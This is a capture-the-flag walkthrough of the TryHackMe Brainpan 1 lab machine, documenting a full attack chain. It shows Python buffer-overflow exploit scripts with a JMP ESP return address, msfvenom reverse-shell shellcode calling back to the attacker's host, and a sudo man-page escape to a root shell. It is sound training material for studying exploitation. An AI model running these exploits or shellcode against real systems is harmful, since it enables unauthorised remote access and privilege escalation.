TryHackMe - Brainpan 1 (Hard)

Summary

On port 10000, we can download a Windows executable in a hidden directory. This is an OSCP-like Windows Buffer Overflow exploit development challenge. Note that the victim machine is running Linux, not Windows.
In the privilege escalation, sudo -l allows us to open man page as root. Here we can spawn a root shell using a privesc payload from GTFOBins.

IP

  • RHOST: 10.10.180.215
  • LHOST: 10.13.12.2

Nmap

Nmap

Asset Discovery

Run Gobuster against port 10000:
gobuster dir -u http://brainpan1.thm:10000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Gobuster finds /bin:
Gobuster
Visit http://brainpan1.thm:10000/bin and download the executable:
/bin

User Shell (Windows buffer overflow)

Step 1: Fuzzing (Locally)

Write a script:
#!/usr/bin/python3
import sys, socket
from time import sleep
#--------Changeme--------#
#
host = "192.168.1.2" #
port = 9999 #
#
#------------------------#
buffer = b"A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = buffer + b"\r\n"
print(f"[+] Sending the payload of length {len(buffer)}...")
s.send(payload)
s.close()
sleep(1)
buffer += b"A" * 100
except:
print(f"Fuzzer crashed at {len(buffer)} bytes")
sys.exit()
We learn that the offset is less than 1000 bytes:
Fuzzing

Step 2: Finding the Offset (Locally)

Generate a pattern of 1000 bytes:
!mona pc 1000
Update the script:
#!/usr/bin/python3
import sys, socket
from time import sleep
#--------Changeme--------#
#
host = "192.168.1.2" #
port = 9999 #
#
#------------------------#
# !mona pc 1000
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = pattern + b"\r\n"
s.send(payload)
s.close()
except:
print("Error connecting to server")
sys.exit()
Run this script and brainpan crashes. Note that the EIP is overwritten:
EIP
Compute the offset:
Offset

Step 3: Overwritting the EIP (Locally)

#!/usr/bin/python3
import sys, socket
from time import sleep
#--------Changeme--------#
#
host = "192.168.1.2" #
port = 9999 #
#
#------------------------#
offset = 524
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = b""
payload += b"A" * offset # Padding
payload += b"B" * 4 # EIP
payload += b"\r\n"
s.send(payload)
s.close()
except:
print("Error connecting to server")
sys.exit()
EIP is overwritten by 0x42424242, as expected:
EIP overwrite

Step 4: Finding Bad Characters (Locally)

Generate a list of badchars:
!mona bytearray -cpb "\x00"
Update the script:
#!/usr/bin/python3
import sys, socket
from time import sleep
#--------Changeme--------#
#
host = "192.168.1.2" #
port = 9999 #
#
#------------------------#
# !mona bytearray -cpb "\x00"
badchars = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
offset = 524
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = b""
payload += b"A" * offset # Padding
payload += b"B" * 4 # EIP
payload += badchars
payload += b"\r\n"
s.send(payload)
s.close()
except:
print("Error connecting to server")
sys.exit()
Find badchars:
!mona compare -f c:\mona\bytearray.bin -a 005ff910
There is no badchar:
No badchar

Step 5: Finding the Right Module (Locally)

Find a JMP ESP gadget:
!mona jmp -r esp -cpb "\x00"
Mona finds one possible gadget:
JMP ESP

Step 6: Generating Msfvenom Payload and Gaining Root (Remotely)

Generate a Linux reverse shell payload using Msfvenom:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.13.12.2 LPORT=443 EXITFUNC=thread -f python -b "\x00"
Update the script:
#!/usr/bin/python3
import sys, socket
from time import sleep
#--------Changeme--------#
#
host = "10.10.180.215" #
port = 9999 #
#
#------------------------#
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.13.12.2 LPORT=443 EXITFUNC=thread -f python -b "\x00"
buf = b""
buf += b"\xb8\x35\xdd\x97\x6d\xd9\xd0\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x12\x83\xee\xfc\x31\x46\x0e\x03\x73\xd3\x75"
buf += b"\x98\x4a\x30\x8e\x80\xff\x85\x22\x2d\xfd\x80\x24\x01"
buf += b"\x67\x5e\x26\xf1\x3e\xd0\x18\x3b\x40\x59\x1e\x3a\x28"
buf += b"\x50\xed\xb0\xaa\x0c\xef\xc8\xab\x77\x66\x29\x1b\xe1"
buf += b"\x29\xfb\x08\x5d\xca\x72\x4f\x6c\x4d\xd6\xe7\x01\x61"
buf += b"\xa4\x9f\xb5\x52\x65\x3d\x2f\x24\x9a\x93\xfc\xbf\xbc"
buf += b"\xa3\x08\x0d\xbe"
offset = 524
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = b""
payload += b"A" * offset # Padding
payload += b"\xf3\x12\x17\x31" # EIP
payload += b"\x90" * 100 # NOP sled
payload += buf # Shellcode
payload += b"\r\n"
s.send(payload)
s.close()
except:
print("Error connecting to server")
sys.exit()
Now we get an user shell as Puck:
User shell

Privlege Escalation (sudo man)

sudo -l:
sudo -l
Try executing this command:
anansi_util
Run sudo /home/anansi/bin/anansi_util manual ls. This is essential the same as man ls, but we are openning this man page as root:
ls
Grab a privesc payload from GTFOBins:
GTFOBins
Spawn a root shell with !/bin/bash:
root shell